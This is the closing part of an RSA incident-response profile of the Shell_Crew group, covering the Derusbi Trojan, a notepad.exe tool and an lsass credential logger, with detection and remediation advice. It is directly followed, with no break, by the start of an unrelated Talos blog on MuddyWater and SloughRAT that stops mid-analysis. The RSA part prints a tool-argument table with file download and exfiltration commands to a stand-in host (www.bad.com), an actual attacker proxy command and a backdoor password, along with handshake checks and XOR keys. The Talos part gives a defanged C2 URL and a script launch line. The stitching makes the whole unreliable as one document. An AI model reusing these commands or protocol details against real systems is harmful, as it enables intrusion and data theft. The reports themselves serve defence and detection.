Once the handshake is received, the driver then passes control to the DLL file which contains the main functionality of the Trojan.
Characteristics of one such Trojan.
Derusbi server variant can be found in Figure 30.
Figure 30: Characteristics of the file 2.dll - a Trojan.
Derusbi variant The Trojan exports the functions shown in Table 2 below.
Entry Point Ordinal Name 100067FBh 1 DllRegisterServer 10006777h 2 DllUnregisterServer 10004CFFh 3 ServiceMain 10004CF0h 4 SvchostPushServiceGlobals 10004FAAh 5 WUServiceMain 10007223h 6 _crt_debugger_hook Table 2: Trojan.
Dersubi server variant functions The adversary installed this Trojan by utilizing the regsvr32.exe utility, which calls the DllRegisterServer function.
This Trojan first checks the version of Windows it is running on using the GetVersionExA function, and will terminate if not on a Windows version 5.2 as shown in Figure 31.
File Name:  2.dll File Size:  65816 bytes MD5:        7c32302791501d817fe9ecb589ecc026 SHA1:       e473e936374aed2701c9455b487cdf2cbec30cf8 PE Time:    0x4FE740F9 [Sun Jun 24 16:31:53 2012 UTC] PEID Sig:   Microsoft Visual C v6.0 DLL PEID Sig:   Microsoft Visual C v7.0 DLL Sections (5): Name      Entropy  MD5 .text     6.22     f8a33e42f67dc9ea82e50698556c2e19 .rdata    4.95     f795dbaabc5a4dc86780a02c7fb9bbd0 .data     7.07     5085436ae0b2d8977b4034aae2d98ad6 .rsrc     2.88     b69e32f439cc4bd33e4dd5ea23bfe02b .reloc    5.39     5e891a6fb9398ffed88fda988ee49422 .rsrc     2.89     463fc58dc7c103c564540cd1191f6c06 .reloc    6.03     7430b0b237db5acf3c691df23c915847 RSA Incident Response Page 25 RSA Emerging Threat Profile: Shell_Crew Figure 31: Derusbi server variant - check OS version logic This versions of Windows this covers is: Windows 2003 Server Windows 2003 Server R2 and Windows XP 64-bit Edition.
The Trojan then validates that it is not running on a 64-bit system by using the IsWow64Process function.
The servers where this Trojan was found during the engagement were Windows 2003 servers, confirming the Shell_Crew had created this variant of the Trojan.
Derusbi to run specifically on this family of Operating Systems.
The Trojan then makes a copy of itself into the C:\Windows\System32 folder as a file named: msusbXXX.hlp, where XXX were found to be three characters picked randomly from this set of characters: abcdefghijklmnopqrstuvwxyz.
The Trojan then entrenches itself as a service named wuauserv as illustrated in Figure 32.
Figure 32: Registry key identifying the service name and Trojan file Furthermore, this Trojan also drops a driver file on the system named: 93144EB0-8E3E-4591-B307-8EEBFE7DB28F.sys.
This driver file is embedded into the DLL starting at file-offset 0x9290.
The contents of this file are obfuscated with a 4-byte XOR key: 0xF35D882E.
Once the driver file is loaded in memory, the file is deleted from the file system.
The following registry key remains as an artifact: HKLM\SYSTEM\CURRENTCONTROLSET\ENUM\ROOT\LEGACY_93144EB0-8E3E-4591-B307-8EEBFE7DB28F.
The driver also attaches to the following network devices: \Driver\Tcpip\Device\Ip \Driver\Tcpip\Device\Tcp \Driver\Tcpip\Device\Udp and \Driver\Tcpip\Device\RawIp.
The driver can then monitor traffic to any existing listening TCP ports.
The driver performs the following three checks on any new TCP connections: Ensures the payload of the first packet equals 64 bytes Ensures 2nd DWORD  Inverted 1st DWORD (i.e.
logical NOT, or XOR 0xFF) and Ensures 1st DWORD ROR 7  3rd DWORD.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv\Parameters  ServiceDLL: Systemroot\System32\msusbfmg.hlp RSA Incident Response Page 26 RSA Emerging Threat Profile: Shell_Crew Figure 33: Driver logic that looks for handshake All the data in the handshake is randomly generated.
Other than the first three DWORDS (12 bytes), the rest of the data in the 64-byte handshake is irrelevant.
The structure of the handshake is shown below in Figure 34: Figure 34: Trojan.
Derusbi server variant handshake structure The malicious DLL performs the last two checks on the handshake data as well.
It then replies back with the same type of handshake.
All data is randomly generated independent of what data was received.
Figure 35 depicts a sample handshake.
Figure 35: Trojan.
Derusbi server variant handshake sample data The handshake is followed by a password verification step.
The structure of the data also changes from this point forward.
This sample uses password, pinkcomein.
The client Trojan service sends the password after obfuscating it with a 4-byte RSA Incident Response Page 27 RSA Emerging Threat Profile: Shell_Crew XOR key, which is dynamically generated and sent with the rest of the data.
The checksum is a simple addition of all the bytes prior to the obfuscation step.
Figure 36: Trojan.
Derusbi server variant - authentication Once the password has been confirmed, the communication protocol adds one additional component.
All data beyond the headers is compressed using the LZO 3 fast compression algorithm, prior to being obfuscated with the 4-byte XOR key.
The commands sent to the server also need to be compressed and obfuscated.
Figure 37 shows an example that demonstrates all these components of the communication protocol (XOR key in this example was set to 0x00000000 to expose the next layer for demonstration purposes).
Figure 37: Trojan.
Derusbi server variant  protocol components The commands are in binary form.
In the example shown in Figure 37, the command is 0x10 (which is visible even though the data is compressed), uninstalls the Trojan, and restores the original registry keys.
The rest of the functionality of this Trojan is typical to this family of Trojans including file traversal, process start/terminate, upload/download, time stomping, and self-updates.
3 http://www.codingnow.com/windsoul/package/lzoc.htm http://www.codingnow.com/windsoul/package/lzoc.htm RSA Incident Response Page 28 RSA Emerging Threat Profile: Shell_Crew Secondary Tools  Technical Analysis This section contains the technical analysis of several secondary tools that are favored by Shell_Crew.
The secondary tools are programs that facilitate lateral movement, harvesting of credentials, or allow for additional channels of communication.
During recent engagements involving Shell_Crew, the secondary tools were introduced into the environment during the early stages of a compromise indicating that these are the preferred tools of this group.
Shell_Crew also employs several additional tools that are commonly used by other threat groups and will not be covered in this report.
1.
Notepad.exe One of the preferred tools used by Shell_Crew during a recent incident was a multi-purpose tool typically named notepad.exe, but also found named inetinfo.exe or mszip.exe.
The collected sample of this tool was written in .NET 2.0 and the code was obfuscated using the post-development recompilation system Dotfuscator.
This tool does not have a built-in C2 address, however the code does support this feature.
This tool requires arguments to be passed to it in order to perform activities.
One of the most commonly used commands by the adversary was the proxy like functionality of this tool as show below in Figure 38.
Figure 38: Common usage of notepad.exe In this example, the proxy functionality of notepad.exe allowed the adversary to proxy their traffic to the external site upload.msdnblog.com through internal IP address 10.192.59.10 on port 80.
Figure 39: File details of notepad.exe File Name:  notepad.exe File Size:  186880 bytes MD5:        985abc913a294c096718892332631ec9 SHA1:       a0d2cb07842813ebcbf31e30895887740f01f5d7 PE Time:    0x4F3E6880 [Fri Feb 17 14:47:28 2012 UTC] PEID Sig:   Microsoft Visual C / Basic .NET PEID Sig:   .NET executable compressor Sections (3): Name      Entropy  MD5 .text     5.56     ab3d5c3c7dc3548585a8182ab8720f03 .rsrc     4.16     b5167609962c7d22da2e6e7aa7259e84 .reloc    0.1      2691c06804eb4834bdcf32c2e02ba33c c:\dell\notepad.exe /f sh /x 10.192.59.10 /y 80 /s upload.msdnblog.com /p 443 RSA Incident Response Page 29 RSA Emerging Threat Profile: Shell_Crew In order to decompile notepad.exe, the code was deobfuscated using a publicly available tool called de4dot.
Once the code had been deobfuscated, notepad.exe could be decompiled for analysis using the tool Reflector.
The RSA IR team was able to review the functionality of this tool and a complete list of the available parameters is provided in Table 3.
During testing it was found that when this file was executed with no arguments, the tool performs the following actions: 1.
The tool would hash the string alicesrabbithole  (MD5: 75BAA77C842BE168B0F66C42C7885997) 2.
The tool then checks if the resource shown in Figure 40 starts with the hash value obtained in step 1 (in this case there is a match).
Figure 40: Resource of notepad.exe 3.
If the result of step 2 is true, the Trojan exits without doing anything else.
It is in this resource that the Trojan would otherwise find an IP address and port number to connect.
The resource would have the format shown in Figure 41: Figure 41: Notepad.exe - built in C2 data structure The first two bytes of the resource will be a hexadecimal value representing the length of the Base64 encoded data that follows.
The obfuscated data is first Base64 decoded, then XOR-ed with 0xAA.
The obfuscated data is meant to be an IP address followed by a port number, separated by a colon :.
The following figure shows the functions from the code.
Figure 42: C2 obfuscation in notepad.exe RSA Incident Response Page 30 RSA Emerging Threat Profile: Shell_Crew This tool can be executed in various ways depending on the arguments provided.
Table 3 shows a complete this of the discovered parameters.
Notepad.exe arguments Purpose Sample Output /f v Version info 2 2.0.887.1303 /f dl /url http://www.bad.com/trojan.jpg /file test.exe Download file.
No obfuscation.
GET /trojan.jpg HTTP/1.1 Host: www.bad.com Connection: Keep-Alive /f ul /url http://www.bad.com/exfil.txt /file exfil.txt Upload a file.
No obfuscation POST /exfil.txt HTTP/1.1 Content-Type: multipart/form-data boundary--------------------- 8d02564845381fa Host: www.bad.com Content-Length: 218 Connection: Keep-Alive -----------------------8d02564845381fa Content-Disposition: form-data namefile filenameexfil.txt Content-Type: application/octet-stream THIS IS MY SENSITIVE DATA -----------------------8d02564845381fa-- /f sh /x 192.168.1.1 /y 80 /s 10.10.10.1 /p 666 /u username /w password HTTP proxy connect.
CONNECT 10.10.10.1:666 HTTP/1.0 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ [Actual adversary command: /f sh /x 10.19.59.10 /y 80 /s upload.msdnblog.com /p 443] /f sh /l /p 666 Listener mode When a client connects: 03 01 74 80 0e d1 3b 4e  0c db 33 00 02 00 00 00 77 03 00 00 00 00 00 00  00 00 00 00 00 00 00 00 /f d /t exfil.txt File info Nameexfil.txt Length25 DirectoryNameC:\MALWARE Directory IsReadOnlyFalse ExistsTrue FullNameC:\MALWARE\exfil.txt Extension.txt CreationTime5/23/2013 CreationTimeUtc5/23/2013 LastAccessTime5/23/2013 LastAccessTimeUtc5/23/2013 LastWriteTime5/23/2013 LastWriteTimeUtc5/23/2013 AttributesArchive notepad.exe /f cl /p directory /m pattern regex options Clean files and time stomp Replace pattern on file in specified folder and time stomp back to original file timestamp.
/f tu /p test /m tampered /r c:\windows\explorer.exe Time stomp file Match files with name tampered in directory test and change CMA timestamps to match those of reference file /r.
If /r argument is not specified or if file is not found set to 11-30-2005 12:00PM UTC.
/f ra /ru /rd /rp /wp arguments RunAs command ru  username rd  domain name rp  password wp  with profile /iu /id /ip Impersonate user iu  username id  domain name ip  password RSA Incident Response Page 31 RSA Emerging Threat Profile: Shell_Crew Notepad.exe arguments Purpose Sample Output /f rs Impersonate user /f wmi Windows Management Instrumentation commands s  system u  username p  password a  Kerberos impersonation level m  WMI command: - query   run WMI query - call  call WMI - get  [no logic to do anything] Table 3: notepad.exe functionality 2.
Credential Logger On a compromised Windows system, credentials can be harvested in a variety of ways: Hash Dumping Keystroke logging MSGINA man-in-the middle Hooking Authentication Functions One such example that was observed during a recent engagement was a DLL file that Shell_Crew had injected into the lsass.exe process of a server to harvest credentials.
The characteristics of this DLL file are shown in Figure 43.
Figure 43: Details of the file xmlobj.dll Once this DLL is injected into the lsass.exe process, it hooks the LsaApLogonUserEx2 function of msv1_0.dll.
This function is called during various authentication situations such as interactive or network logons, including when the RunAs option is used.
All credentials are saved in plaintext under: c:\windows\system32\desktop.ini.
A sample of harvested credentials that would be stored in the desktop.ini file is shown in Figure 44.
File Name:  xmlobj.dll File Size:  20480 bytes MD5:        90eddad3327a63fdea924fb802bc7dc5 SHA1:       ecd9f328d119a82718634700f0e1fd5f19e9b08c PE Time:    0x4F908F71 [Thu Apr 19 22:19:29 2012 UTC] PEID Sig:   Microsoft Visual C v6.0 DLL Sections (4): Name      Entropy  MD5 .text     4.21     445cb9843ec80eb2465a099f63fcdf0a .rdata    1.04     f8e9796e79523ae3980491e67e33521d .data     0.37     b77c7f741344e8c0326394129484cf5b .reloc    0.61     1373d7f72c5ca95a4bc001b04e4dc710 RSA Incident Response Page 32 RSA Emerging Threat Profile: Shell_Crew Figure 44: Sample of harvested credentials Domain: mydomain UserID: administrator Passwd: Pssword12 Domain: mydomain UserID: john Passwd: NewYear2013 RSA Incident Response Page 33 RSA Emerging Threat Profile: Shell_Crew Detection, Mitigation, and Remediation The below sections outline information and detection capabilities that can assist with identification of activity or tools associated with Shell_Crew.
Additionally, the RSA IR Team has included a digital appendix along with this report that contains content that can be integrated into Security Analytics, the Enterprise Compromise Assessment Tool (ECAT), or other security tools for rapid detection and visibility of indicators associated with Shell_Crew within an enterprise environment.
1.
General Forensic Footprints On multiple cases Shell_Crew has been seen breaching a network by exploiting vulnerable applications on external facing servers.
Web server logs, if available, can reveal the intrusion vector.
Shell_Crew has a preference for storing files in the C:\Recycler folder, or in other standard folders one level deep from the root, such as the C:\Dell, c:\i386, or C:\Reboot folders.
Sometimes tools or Trojans have also been found at the root of the C: drive.
In addition to connecting to remote systems, copying files, and scheduling jobs to execute them, Shell_Crew has a preference for lateral movement using RDP.
Additionally, theyve used the Sysinternals tool psexec.exe to execute a file remotely, sometimes automated via a VBS script.
Performing forensic analysis on a compromised systems registry hive (focusing on the Application Compatibility Cache) can yield numerous artifacts related to Shell_Crews activity.
Using a tool like ECAT, metadata about malicious files and code can be rapidly located throughout an enterprise allowing responders to focus on relevant systems.
Host based signatures can be used in conjunction with this methodology to allow for improved efficiency.
The Yara signatures listed below are currently used by the RSA IR Team to locate some malicious files specific to this group.
A tool like ECAT can utilize these signatures to scan memory of systems across a network.
If the adversary registers any Dlls with IIS, these should be unregistered when they are removed from the compromised system.
Similarly any altered files, like System.web.dll, should be deleted and replaced with a clean copy of the original Microsoft file.
Data theft by Shell_Crew typically involves use of the WinRAR utility using encrypted and password protected rar files.
Here are some password seen used by Shell_Crew: - www.google.com - www.google.com123 - fuckalnt76yiuudg 2.
Security Analytics Integration Parsers While standard network signatures will detect some of the Trojans and tools used by Shell_Crew, the Trojan.
Derusbi samples detailed in this report were designed to avoid detection by employing a proprietary handshake derived from pseudorandom values dynamically calculated at runtime.
The digital appendix provided with this report contains several Security Analytics parsers that can assist in the detection of these Trojan.
Derusbi handshakes and additional variants related to these samples.
Once enabled, these parsers will generate meta entitled derusbiserver_handshake or derusbi_variant in the Risk.
Warning category within Security Analytics.
RSA Incident Response Page 34 RSA Emerging Threat Profile: Shell_Crew Feeds Also included within the digital appendix are feeds that can be imported into Security Analytics for detection of potential Shell_Crew activity.
These feeds will alert users if there are any machines on the network communicating with malicious IP Addresses or URLs linked to Shell_Crew identified domains or IPs within this report.
Once enabled, these feeds will generate meta entitled derusbi_domain_sep2013 or derusbi_ip_sep2013 in the Risk.
Warning category within Security Analytics.
3.
ECAT Integration The hashes that are referenced in the Malicious Files and Tools section of this report are also available in the digital appendix.
The format of the files in the digital appendix can be imported directly into ECAT to begin looking for the hashes across systems within the environment.
By default, ECAT is also able to detect some of the malicious behavior that is exhibited by the samples detailed in this report.
The below examples are provided to demonstrate how potential Shell_Crew activity can be identified using standard analysis capabilities via the ECAT Server.
Figure 45 is a screenshot where ECAT detected a suspicious outbound connection.
The screen shot depicts the attempted connections of the Trojan.
Derusbi sample that was detailed earlier in this report.
With this information, ECAT can be used to quickly determine if any other systems on the network had executable files that were actively beaconing to the same location.
Figure 45: ECAT detects a suspicious outbound connection The same malicious file seen above was also flagged as suspicious by ECAT because it was entrenched in an autorun location within the systems registry.
The screen shot in Figure 46 below depicts the alert provided by ECAT.
Figure 46: Alert sent by ECAT Additionally, the RSA IR Team observed that Shell_Crew will time stomp (alter a files Created Date and Time Stamp) to hinder forensic analysis.
By default, ECAT has the ability to parse a systems MFT and display both the File Name Attribute information and Standard Information Attribute for a file.
The screen shot below shows an instance where the files had been time stomped.
The files were purportedly created on the compromised systems in 2005, when in actuality they had been placed on the systems in 2012.
RSA Incident Response Page 35 RSA Emerging Threat Profile: Shell_Crew Figure 47: MFT File Viewer in ECAT 4.
Yara Signatures The RSA IR Team uses Yara Signatures like the ones provided in the digital appendix to detect malicious files present on systems and running in memory.
Theyre also used to detect new variants that are being tested by adversaries using open source tools like VirusTotal.
The RSA IR Team has observed that Shell_Crew will submit numerous samples of a Trojan family to VirusTotal in an attempt to determine which AV vendors will detect the malicious files.
Shell_Crew will make small changes to the code and how the binary is compiled until a particular AV vendor does not detect the sample.
Detecting these variants using Yara Signatures allows the RSA IR Team to update and alter signatures, analyze new variants, and become aware of new C2 nodes before the samples are used against targeted organizations.
This information is then added to existing content in Security Analytics and ECAT.
Figure 48 is a graph that depicts where variants of a sample were submitted numerous times, each time being detected by different AV products.
Figure 48: Malware sample testing 5.
Hash Set, IPs, Domains All hashes, IP Addresses, and domains discussed within this report as associated with Shell_Crew can be found in the attached Digital Appendix.
0 2 4 6 8 10 12 D e te ct io n R a ti o Submission Time RSA Incident Response Page 36 RSA Emerging Threat Profile: Shell_Crew Conclusion This report detailed techniques and tools that are frequently used by an advanced adversary being referred to by the RSA IR Team as Shell_Crew.
The information delivered in this report was provided so organizations can turn the data into actionable intelligence, for detection or prevention of this advanced threat.
As of the date of this report, Shell_Crew continues to be a formidable threat group that is actively attacking organizations.
In instances where Shell_Crew has already breached an organization, the RSA IR Team has observed that the adversary will aggressively attempt to regain a foothold once their Trojans have been eradicated and communication channels severed.
If any of their existing backdoors or Web shells remain active in the environment, Shell_Crew will begin to redeploy other tiers of malware that communicate through different channels, which may use different protocols and obfuscation techniques.
The RSA IR Team has observed instances where Shell_Crew has persisted in enterprises for years before they are detected.
During that time, Shell_Crew updated or replaced existing malicious backdoors, continued to map the enterprise while installing Web shells or poisoning existing web pages, and performed internal reconnaissance of victims to determine what AV and security products are being deployed in these environments.
These tenacious approaches make it difficult for an under resourced internal security team to detect, and furthermore, eradicate this adversary.
The RSA IR Team will continue to track the TTPs used by this group and distribute information about this and other adversaries.
The information that is provided in the digital appendix and throughout the report can be ingested directly into RSA products or used agnostically with other products.
If you have any questions about this emerging threat profile or the RSA Incident Response Team, please send an email to FirstResponsersa.com or contact your RSA Account Representative.
mailto:FirstResponsersa.com RSA Incident Response Page 37 RSA Emerging Threat Profile: Shell_Crew Appendix 1  Trojan.
Derusbi Variants The below images illustrate the different relationships between the Trojan.
Derusbi samples that were listed in the Malicious Files Section.
The XOR keys in blue, were used to decode the Configuration data that is used by the sample.
The XOR keys in red were used to decode the embedded driver files.
Figure 49: Trojan.
Derusbi Variants Mutex Overlap RSA Incident Response Page 38 RSA Emerging Threat Profile: Shell_Crew Figure 50: Trojan.
Derusbi variants XOR key overlap RSA Incident Response Page 39 RSA Emerging Threat Profile: Shell_Crew Figure 51: Trojan.
Derusbi variants XOR key overlap RSA Incident Response Page 40 RSA Emerging Threat Profile: Shell_Crew Figure 52: Trojan.
Derusbi variants XOR key overlap RSA Incident Response Page 41 RSA Emerging Threat Profile: Shell_Crew Appendix 2  Trojan.
Notepad Illustration The illustration below shows relationships between the Trojan.
Notepad samples that were listed in the Malicious Files/Tools Section.
These samples are grouped by file description.
Figure 53: Relationships between Trojan.
Notepad samples RSA Incident Response Page 42 RSA Emerging Threat Profile: Shell_Crew H12756 Digital Appendix - Details Below is a list of the files and folders contained within the ShellCrew_Digital_Appendix.
All content should be tested before full integration into SA, ECAT, or 3 rd party tools to prevent any adverse effects from unknown environmental variables.
ShellCrew_Digital_Appendix.zip File Hash: 4e324ffae9ce8688bdb2f569274dff7c ShellCrew_Digital_Appendix.zip Contents: ECAT_Blacklist (Folder containing ECAT Hash Import) o Derusbi_Notepad.xml feeds folder (Folder containing SA feeds, Shell_Crew Domains and IPs) o Derusbi_Domain.feed o Derusbi_Domain.csv (List of Shell_Crew Domains) o derusbi_domain.xml o Derusbi_IP.feed o Derusbi_IP.txt (List of Shell_Crew IPs) o derusbi_ip.xml parsers folder (Folder containing SA parsers) o derusbi_server.lua  (Parser for Derusbi Handshake) o derusbi_variant.parser (Parser for Derusbi variant beaconing) ShellCrewHashset.md5 file (List of Shell_Crew File/Tool Hashes) yara folder (Folder containing Yara sigs) o Shell_Crew.yara For any questions or issues deploying the Security Analytics or ECAT content into your environment, please contact RSA Support.
1/22 Iranian linked conglomerate MuddyWater comprised of regionally focused subgroups blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html By Asheer Malhotra, Vitor Ventura and Arnaud Zobec.
Cisco Talos has observed new cyber attacks targeting Turkey and other Asian countries we believe with high confidence are from groups operating under the MuddyWater umbrella of APT groups.
U.S. Cyber Command recently connected MuddyWater to Irans Ministry of Intelligence and Security (MOIS).
These campaigns primarily utilize malicious documents (maldocs) to deploy downloaders and RATs implemented in a variety of languages, such as PowerShell, Visual Basic and JavaScript.
Another new campaign targeting the Arabian peninsula deploys a WSF-based RAT were calling SloughRAT, identified as an implant called canopy by CISA in their advisory released in late February.
Based on a review of multiple MuddyWater campaigns, we assess that the Iranian APT is a conglomerate of multiple teams operating independently rather than a single threat actor group.
The MuddyWater supergroup is highly motivated and can use unauthorized access to conduct espionage, intellectual property theft and deploy ransomware and destructive malware in an enterprise.
Executive summary https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html https://twitter.com/asheermalhotra https://twitter.com/_vventura https://twitter.com/AZobec https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://www.cisa.gov/uscert/ncas/alerts/aa22-055a https://www.cisa.gov/uscert/ncas/alerts/aa20-006a https://www.zdnet.com/article/iranian-state-hacker-group-linked-to-ransomware-deployments/ 2/22 Cisco Talos has identified multiple campaigns and tools being perpetrated by the MuddyWater APT group, widely considered to be affiliated with Iranian interests.
These threat actors are considered extremely motivated and persistent when it comes to targeting victims across the globe.
Talos disclosed a MuddyWater campaign in January targeting Turkish entities that leveraged maldocs and executable-based infection chains to deliver multistage, PowerShell-based downloader malware.
This group previously used the same tactics to target other countries in Asia, such as Armenia and Pakistan.
In our latest findings, we discovered a new campaign targeting Turkey and the Arabian peninsula with maldocs to deliver a Windows script file (WSF)-based remote access trojan (RAT) were calling SloughRAT an implant known by canopy in CISAs most recent alert from February 2022 about MuddyWater.
This trojan, although obfuscated, is relatively simple and attempts to execute arbitrary code and commands received from its command and control (C2) servers.
Our investigation also led to the discovery of the use of two additional script-based implants: one written in Visual Basic (VB) (late 2021 - 2022) and one in JavaScript (2019 - 2020), which also downloads and runs arbitrary commands on the victims system.
MuddyWaters variety of lures and payloads  along with the targeting of several different geographic regions  strengthens our growing hypothesis that MuddyWater is a conglomerate of sub-groups rather than a single actor.
These sub-groups have conducted campaigns against a variety of industries such as national and local governments and ministries, universities and private entities such as telecommunication providers.
While these teams seem to operate independently, they are all motivated by the same factors that align with Iranian national security objectives, including espionage, intellectual theft, and destructive or disruptive operations based on the victims they target.
A variety of campaigns analyzed are marked by the development and use of distinct infection vectors and tools to gain entry, establish long-term access, siphon valuable information and monitor their targets.
The MuddyWater teams appear to share TTPs, as evidenced by the incremental adoption of various techniques over time in different MuddyWater campaigns.
We represent this progression in a detailed graphic in the first main section of this blog.
MuddyWater threat actor MuddyWater, also known as MERCURY or Static Kitten, is an APT group the U.S. Cyber Command recently attributed to Irans Ministry of Intelligence and Security (MOIS).
This https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html https://www.cisa.gov/uscert/ncas/alerts/aa22-055a https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html https://securelist.com/muddywater/88059/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ http://vaja.ir/ 3/22 threat actor, active since at least 2017, frequently conducts campaigns against high-value targets in countries in North America, Europe and Asia.
MuddyWater campaigns typically fall into one of the following categories: Espionage: Collecting information on adversaries or regional partners that can benefit Iran by helping to advance its political, economic, or national security interests.
Intellectual property theft: Stealing intellectual property and other proprietary information can benefit Iran in a variety of ways, including helping Iranian businesses against their competitors, influencing economic policy decisions at the state level, or informing government-related research and design efforts, among others.
These campaigns target private and government entities, such as universities, think tanks, federal agencies, and various industry verticals.
Ransomware attacks: MuddyWater has previously attempted to deploy ransomware, such as Thanos, on victim networks to either destroy evidence of their intrusions or disrupt operations.
MuddyWater frequently relies on the use of DNS to contact their C2 servers, while the initial contact with hosting servers is done via HTTP.
Their initial payloads usually use PowerShell, Visual Basic and JavaScript scripting along with living-off-the-land binaries (LoLBins) and remote connection utilities to assist in the initial stages of the infection.
MuddyWater likely comprised of multiple sub-groups We assess that MuddyWater is a conglomerate of smaller teams, with each team using different targeting tactics against specific regions of the world.
They appear to share some techniques and evolve them as needed.
This sharing is possibly the result of contractors that move from team to team, or the use of the same development and operational contractors across each team.
The latter also explains why we have seen simple indicators such as unique strings and watermarks shared between MuddyWater and the Phosphorus (aka APT35 and Charming Kitten) APT groups.
These groups are attributed to different Iranian state organizations  the MOIS and IRGC, respectively.
Based on new information and a review of MuddyWater threat activity and TTPs, we can link together the attacks covered in our January 2022 MuddyWater blog with this most recent campaign targeting Turkey and other Asian countries.
The graphic below shows the overlap in TTPs and regional targeting between the various MuddyWater campaigns, which suggests these attacks are distinct, yet related, clusters of activity.
While some campaigns initially appeared to leverage new TTPs that seemed unrelated to other operations, we later found that they instead demonstrated a broader TTP-sharing paradigm, typical of coordinated operational teams.
https://malpedia.caad.fkie.fraunhofer.de/actor/muddywater https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-espionage-group https://www.zdnet.com/article/iranian-state-hacker-group-linked-to-ransomware-deployments/ https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453 https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html 4/22 Tracing MuddyWaters activity over the last year, we see that some of the shared techniques seem to be refined from one region to the other, suggesting the teams use their preferred flavors of tools of choice, including final payloads.
The above timeline also shows the incremental usage of certain techniques in different campaigns over time, suggesting that they are tested and improved before being implemented in future operations.
The first two techniques we see being implemented and then shared in future operations are signaling tokens and an executable dropper.
We first observed the usage of tokens for signaling in April 2021 in a campaign against Pakistan via a simple dropper that downloads the Connectwise remote administration tool.
Later, in June, we see the first usage of the executable dropper against Armenia (described in detail in our previous post).
The dropped payload is a PowerShell script that loads another PowerShell script that downloads and executes a final PowerShell-based payload.
5/22 The two techniques were then combined later in August 2021 in a campaign targeting Pakistan, this time still using the homemade tokens.
Later, the actors graduated to a more professional implementation of the token by using canarytokens[.
]coms infrastructure.
canarytokens[.
]com is a legitimate service that MuddyWater uses to make their operations appear less suspicious.
These techniques were next leveraged in a November 2021 campaign targeting Turkey in the campaign we described in our January blog.
In these attacks on Turkey, MuddyWater used maldocs with tokens and the same executable droppers previously seen targeting Armenia and Pakistan.
In March 2021, we observed MuddyWater using the Ligolo reverse-tunneling tool in attacks on Middle Eastern countries.
This tactic was later reused in December 2021, along with the introduction of a new implant.
Beginning in December 2021, we observed MuddyWater using a new WSF-based RAT we named SloughRAT to target countries in the Arabian Peninsula, which is described in more detail later in this blog.
During our investigation, we discovered another version of SloughRAT being deployed against entities in Jordan.
This attack included the deployment of Ligolo  a MuddyWater tactic also corroborated by Trend Micro in March 2021  following the deployment of SloughRAT.
All these attacks show an interesting pattern: Multiple commonalities in some key infection artifacts and TTPs, while retaining enough operational distinctions.
This pattern can be broken down into the following practices: The introduction of a TTP in one geography, a delay of typically two or three months, then the reuse of that same TTP in a completely different geography, alongside other proven TTPs borrowed from campaigns conducted in another geography.
The introduction of at least one new TTP completely novel to MuddyWaters tactics in almost every geographically distinct campaign.
These observations strongly indicate that MuddyWater is a group of groups, each responsible for targeting a specific geography.
Each is also responsible for developing novel infection techniques while being allowed to borrow from a pool of TTPs tested in previously separate campaigns.
Campaigns Tying together previous MuddyWater campaigns In our previous post, we disclosed two campaigns using the same types of Windows executables  one targeting Turkey in November 2021 and one from June 2021 targeting https://github.com/sysdream/ligolo https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html 6/22 Armenia.
Another campaign illustrated previously used similar executables, this time to target Pakistan.
This campaign deployed a PowerShell-based downloader on the endpoint to accept and execute additional PS1 commands from the C2 server.
Going further back, in April 2021, we observed another instance of Muddywater targeting entities in Pakistan, this time with a maldoc-based infection vector.
The lure document claimed to be part of a court case, as the image below shows.
7/22 Malicious lure containing a blurred image of the state emblem of Pakistan and referring to a court case.
In this case, however, the attackers attempted to deploy the Connectwise Remote Access client on the targets endpoints, a tactic commonly used by MuddyWater to gain an initial foothold on targets endpoints.
In the attacks deploying the RAT in April 2021 and the EXE-based infection vector from August 2021, the maldocs and decoy documents reached out to a common server to download a common image file that links them.
These campaigns used a homemade implementation of signaling tokens.
In this case, the maldocs have an external entity downloaded from an attacker-controller server.
This entity consists in a simple image which has no malicious content.
The same base URL is employed in both campaigns: hxxp://172.245.81[.
]135:10196/Geq5P3aFpaSrK3PZtErNgUsVCfqQ9kZ9/ However, the maldoc appends the additional URL extension ef4f0d9af47d737076923cfccfe01ba7/layer.jpg while the decoy appends /Pan- op/gallery.jpg.
This may be a way for the attackers to track their initial infection vector and determine which one is more successful.
It is highly likely that the attackers used this server as a token tracker to keep track of successful infections in this campaign.
This token-tracking system was then migrated to CanaryTokens in September 2021 in the attacks targeting Turkey using the malicious Excel documents.
MuddyWater Middle East campaign using maldocs  SloughRAT During a recent IR engagement, Talos observed multiple instances of malicious documents (maldocs)  specifically XLS files  distributed by MuddyWater.
These XLS files were observed targeting the Arabian peninsula through a recent phishing campaign.
The maldoc consists of a malicious macro that drops two WSF files on the endpoint.
One of these scripts is the instrumentor script meant to execute the next stage.
This instrumentor script is placed in the current users Startup folder by the VBA macro to establish persistence across reboots.
The second script is a WSF-based RAT we call SloughRAT that can execute arbitrary commands on the infected endpoint.
This RAT consists of obfuscated code from interweaved Visual Basic and JavaScript.
8/22 Excel document that drops the Outlook.wsf file.
WSF-based instrumentor script At first glance, the instrumentor script looks complicated because of its obfuscation.
However, at its core, the script is solely meant to execute the next stage WSF RAT payload.
At runtime, the code deobfuscates two key components for the next stage: Path to the RAT script thats hard-coded but obfuscated.
The de-facto key in the RAT that triggers the malicious code to call.
This data is then used to make a call to the WSF-based RAT: cmd.exe /c path_to_WSF_RAT key 9/22 Deobfuscation of persistence.
SloughRAT analysis The WSF implant has several capabilities.
The script uses multilayer obfuscation to hide its true extensions.
